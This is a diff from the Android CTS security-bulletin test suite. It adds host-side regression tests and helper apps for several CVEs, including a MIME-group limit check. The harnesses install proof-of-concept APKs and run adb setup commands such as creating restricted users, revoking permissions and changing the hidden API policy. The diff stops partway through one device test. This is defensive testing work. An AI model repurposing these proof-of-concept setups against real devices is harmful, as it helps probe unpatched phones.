diff --git a/hostsidetests/edi/OWNERS b/hostsidetests/edi/OWNERS
index 88c9013b591..8e0766f968e 100644
--- a/hostsidetests/edi/OWNERS
+++ b/hostsidetests/edi/OWNERS
@@ -1,8 +1,5 @@
# Bug component: 47509
-aaronholden@google.com
-agathaman@google.com
-nickrose@google.com
-samlin@google.com
-
+anwenxu@google.com
+sehajgrover@google.com
# For cleanups and bug fixes
satayev@google.com #{LAST_RESORT_SUGGESTION}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_237291548.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_237291548.java
new file mode 100644
index 00000000000..0723e538724
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_237291548.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.hamcrest.CoreMatchers.containsString;
+import static org.junit.Assert.assertThat;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.targetprep.TargetSetupError;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class Bug_237291548 extends NonRootSecurityTestCase {
+
+ private static final String TEST_PKG = "android.security.cts.BUG_237291548";
+ private static final String TEST_CLASS = TEST_PKG + ".DeviceTest";
+ private static final String TEST_APP = "BUG-237291548.apk";
+ private static final String TEST_FAIL_INSTALL_APP = "BUG-237291548-FAIL-INSTALL.apk";
+
+ @Before
+ public void setUp() throws Exception {
+ super.setUp();
+ uninstallPackage(getDevice(), TEST_PKG);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 237291548)
+ public void testRunDeviceTestsPassesFull() throws Exception {
+ installPackage(TEST_APP);
+
+ runDeviceTests(TEST_PKG, TEST_CLASS, "testExceedGroupLimit");
+ runDeviceTests(TEST_PKG, TEST_CLASS, "testExceedMimeLengthLimit");
+ }
+
+ @Test(expected = TargetSetupError.class)
+ @AsbSecurityTest(cveBugId = 237291548)
+ public void testInvalidApkFails() throws Exception {
+ try {
+ installPackage(TEST_FAIL_INSTALL_APP);
+ } catch (TargetSetupError e) {
+ assertThat(e.getMessage(),
+ containsString("Max limit on number of MIME Groups reached"));
+ throw e;
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0441.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0441.java
new file mode 100644
index 00000000000..b3b0f90dce1
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0441.java
@@ -0,0 +1,51 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0441 extends StsExtraBusinessLogicHostTestBase {
+ static final String TEST_PKG = "android.security.cts.CVE_2021_0441";
+ static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ static final String TEST_APP = "CVE-2021-0441.apk";
+
+ /**
+ * b/174495520
+ */
+ @AsbSecurityTest(cveBugId = 174495520)
+ @Test
+ public void testPocCVE_2021_0441() throws Exception {
+ ITestDevice device = getDevice();
+ uninstallPackage(device, TEST_PKG);
+
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ installPackage(TEST_APP);
+ runDeviceTests(TEST_PKG, TEST_CLASS, "testCVE_2021_0441");
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39704.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39704.java
new file mode 100644
index 00000000000..af72d3b81de
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39704.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39704 extends StsExtraBusinessLogicHostTestBase {
+
+ @AsbSecurityTest(cveBugId = 209965481)
+ @Test
+ public void testPocCVE_2021_39704() {
+ try {
+ final String testPkg = "android.security.cts.CVE_2021_39704";
+
+ ITestDevice device = getDevice();
+
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ installPackage("CVE-2021-39704.apk");
+ AdbUtils.runCommandLine(
+ "pm revoke " + "android.security.cts.CVE_2021_39704 "
+ + "android.permission.ACCESS_COARSE_LOCATION",
+ device);
+
+ runDeviceTests(testPkg, testPkg + "." + "DeviceTest",
+ "testdeleteNotificationChannelGroup");
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39707.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39707.java
new file mode 100644
index 00000000000..2e61b7064a2
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39707.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39707 extends StsExtraBusinessLogicHostTestBase {
+
+ @AsbSecurityTest(cveBugId = 200688991)
+ @Test
+ public void testPocCVE_2021_39707() {
+ ITestDevice device = getDevice();
+ final String testPkg = "android.security.cts.CVE_2021_39707";
+ int userId = -1;
+ try {
+ // Wake up the screen
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ // Create restricted user
+ String commandOutput = AdbUtils.runCommandLine(
+ "pm create-user --restricted CVE_2021_39707_RestrictedUser", device);
+
+ // Extract user id of the restricted user
+ String[] tokens = commandOutput.split("\\s+");
+ assumeTrue(tokens.length > 0);
+ assumeTrue(tokens[0].equals("Success:"));
+ userId = Integer.parseInt(tokens[tokens.length - 1]);
+
+ // Install PoC application
+ installPackage("CVE-2021-39707.apk");
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testAppRestrictionsFragment");
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ // Back to home screen after test
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+ if (userId != -1) {
+ // Remove restricted user
+ AdbUtils.runCommandLine("pm remove-user " + userId, device);
+ }
+ } catch (Exception e) {
+ // ignore all exceptions
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39808.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39808.java
new file mode 100644
index 00000000000..a55229abe45
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39808.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39808 extends StsExtraBusinessLogicHostTestBase {
+
+ @AsbSecurityTest(cveBugId = 209966086)
+ @Test
+ public void testPocCVE_2021_39808() {
+ try {
+ final String testPkg = "android.security.cts.CVE_2021_39808";
+
+ ITestDevice device = getDevice();
+
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ installPackage("CVE-2021-39808.apk");
+ runDeviceTests(testPkg, testPkg + "." + "DeviceTest","testService");
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20007.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20007.java
index 47ea7ca8a47..55e6dca25fc 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20007.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20007.java
@@ -37,10 +37,12 @@ public class CVE_2022_20007 extends StsExtraBusinessLogicHostTestBase {
final String testClass = testPkg + "." + "DeviceTest";
final String testApp = "CVE-2022-20007.apk";
final String testAttackerApp = "CVE-2022-20007-Attacker.apk";
+ final String testSecondApp = "CVE-2022-20007-Second.apk";
ITestDevice device = getDevice();
try {
installPackage(testApp);
installPackage(testAttackerApp);
+ installPackage(testSecondApp);
AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20197.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20197.java
new file mode 100644
index 00000000000..ebfed1a4523
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20197.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2022_20197 extends StsExtraBusinessLogicHostTestBase {
+ private static final String TEST_PKG = "android.security.cts.CVE_2022_20197";
+
+ @AsbSecurityTest(cveBugId = 208279300)
+ @Test
+ public void testPocCVE_2022_20197() {
+ ITestDevice device = null;
+ boolean isPolicyPresent = true;
+ boolean isHiddenApiEnabled = true;
+ String status = "";
+ try {
+ device = getDevice();
+ installPackage("CVE-2022-20197.apk");
+
+ status = AdbUtils.runCommandLine("settings get global hidden_api_policy", device);
+ if (status.toLowerCase().contains("null")) {
+ isPolicyPresent = false;
+ } else if (!status.toLowerCase().contains("1")) {
+ isHiddenApiEnabled = false;
+ }
+ if (!isPolicyPresent || !isHiddenApiEnabled) {
+ AdbUtils.runCommandLine("settings put global hidden_api_policy 1", device);
+ }
+ runDeviceTests(TEST_PKG, TEST_PKG + ".DeviceTest", "testParcel");
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ if (!isPolicyPresent) {
+ AdbUtils.runCommandLine("settings delete global hidden_api_policy", device);
+ } else if (!isHiddenApiEnabled) {
+ AdbUtils.runCommandLine("settings put global hidden_api_policy " + status,
+ device);
+ }
+ } catch (Exception e) {
+ // ignore all exceptions.
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-237291548/Android.bp b/hostsidetests/securitybulletin/test-apps/BUG-237291548/Android.bp
new file mode 100644
index 00000000000..9ac80ac1a46
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-237291548/Android.bp
@@ -0,0 +1,64 @@
+// Copyright (C) 2022 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "BUG-237291548",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ test_suites: [
+ "cts",
+ "vts10",
+ "sts",
+ ],
+ static_libs: [
+ "androidx.appcompat_appcompat",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
+ ],
+ sdk_version: "current",
+}
+
+android_test_helper_app {
+ name: "BUG-237291548-FAIL-INSTALL",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ manifest: ":BUG-237291548-BAD-MANIFEST",
+ test_suites: [
+ "cts",
+ "vts10",
+ "sts",
+ ],
+ static_libs: [
+ "androidx.appcompat_appcompat",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
+ ],
+ sdk_version: "current",
+}
+
+// Modify the manifest file to include more than 500 MIME groups. The resulting
+// test apk generated using this manifest should fail package install since the
+// number of MIME groups is limited to a maximum of 500 per package.
+genrule {
+ name: "BUG-237291548-BAD-MANIFEST",
+ srcs: ["AndroidManifest.xml"],
+ out: ["BadAndroidManifest.xml"],
+ cmd: "awk '/myMimeGroup/{print;for(i=0;i<501;i++){sub(/myMimeGroup[0-9]*/,\"myMimeGroup\"i);print}}1' $(in) > $(out)",
+} \ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-237291548/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/BUG-237291548/AndroidManifest.xml
new file mode 100644
index 00000000000..cc692b86011
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-237291548/AndroidManifest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.BUG_237291548"
+ android:targetSandboxVersion="2">
+
+ <application>
+ <uses-library android:name="android.test.runner" />
+ <activity
+ android:name=".MainActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ <data android:mimeGroup="myMimeGroup" />
+ </intent-filter>
+ </activity>
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.BUG_237291548" />
+
+</manifest> \ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-237291548/src/android/security/cts/BUG_237291548/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/BUG-237291548/src/android/security/cts/BUG_237291548/DeviceTest.java
new file mode 100644
index 00000000000..e4554aa86b6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-237291548/src/android/security/cts/BUG_237291548/DeviceTest.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.BUG_237291548;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+
+import static org.junit.Assert.assertEquals;
+
+import android.content.pm.PackageManager;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.HashSet;
+import java.util.Set;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ private static final String MIME_GROUP = "myMimeGroup";
+
+ PackageManager mPm = getApplicationContext().getPackageManager();
+
+ @Test(expected = IllegalStateException.class)
+ public void testExceedGroupLimit() {
+ Set<String> mimeTypes = mPm.getMimeGroup(MIME_GROUP);
+ assertEquals(mimeTypes.size(), 0);
+ for (int i = 0; i < 500; i++) {
+ mimeTypes.add("MIME" + i);
+ mPm.setMimeGroup(MIME_GROUP, mimeTypes);
+ }
+ mimeTypes = mPm.getMimeGroup(MIME_GROUP);
+ assertEquals(500, mimeTypes.size());
+ mimeTypes.add("ONETOMANYMIME");
+ mPm.setMimeGroup(MIME_GROUP, mimeTypes);
+ }
+
+ @Test(expected = IllegalArgumentException.class)
+ public void testExceedMimeLengthLimit() {
+ Set<String> mimeTypes = new HashSet<>();
+ mimeTypes.add(new String(new char[64]).replace("\0", "MIME"));
+ mPm.setMimeGroup(MIME_GROUP, mimeTypes);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/Android.bp
new file mode 100644
index 00000000000..f07b5cc421e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2021-0441",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/AndroidManifest.xml
new file mode 100644
index 00000000000..66451bd556b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_0441"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <application
+ android:allowBackup="true"
+ android:label="@string/app_name"
+ android:supportsRtl="true">
+ <activity android:name=".PocActivity" android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ </application>
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_0441" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/layout/activity_main.xml
new file mode 100644
index 00000000000..7460b96ae6b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/layout/activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <View
+ android:id="@+id/drawableview"
+ android:layout_width="match_parent"
+ android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/integers.xml
new file mode 100644
index 00000000000..3496d8a778f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/integers.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<resources>
+ <integer name="pictures">200</integer>
+ <integer name="request_code">1</integer>
+ <integer name="wait_time_ms">10000</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/strings.xml
new file mode 100644
index 00000000000..9d8dd1b4319
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/strings.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<resources>
+ <string name="app_name">
+ CVE-2021-0441
+ </string>
+ <string name="ui_id_alert">
+ android:id/alertTitle
+ </string>
+ <string name="ui_id_message">
+ android:id/message
+ </string>
+ <string name="path">
+ content://media/external_primary/images/media/
+ </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/DeviceTest.java
new file mode 100644
index 00000000000..1d9c47b7acf
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/DeviceTest.java
@@ -0,0 +1,101 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0441;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+
+import androidx.annotation.IntegerRes;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import java.util.List;
+import java.util.regex.Pattern;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ Context mAppContext;
+
+ int getInteger(@IntegerRes int resId) {
+ return mAppContext.getResources().getInteger(resId);
+ }
+
+ String getString(@IntegerRes int resId) {
+ return mAppContext.getResources().getString(resId);
+ }
+
+ @Test
+ public void testCVE_2021_0441() {
+ try {
+ UiDevice device = UiDevice.getInstance(getInstrumentation());
+ mAppContext = getApplicationContext();
+ PackageManager packageManager = mAppContext.getPackageManager();
+ String packageName = mAppContext.getPackageName();
+ final Intent intent = packageManager.getLaunchIntentForPackage(packageName);
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ mAppContext.startActivity(intent);
+
+ // Selecting all visible objects with res-id: android:id/alertTitle
+ Pattern patternAlert = Pattern.compile(getString(R.string.ui_id_alert));
+ BySelector selectorAlert = By.res(patternAlert);
+
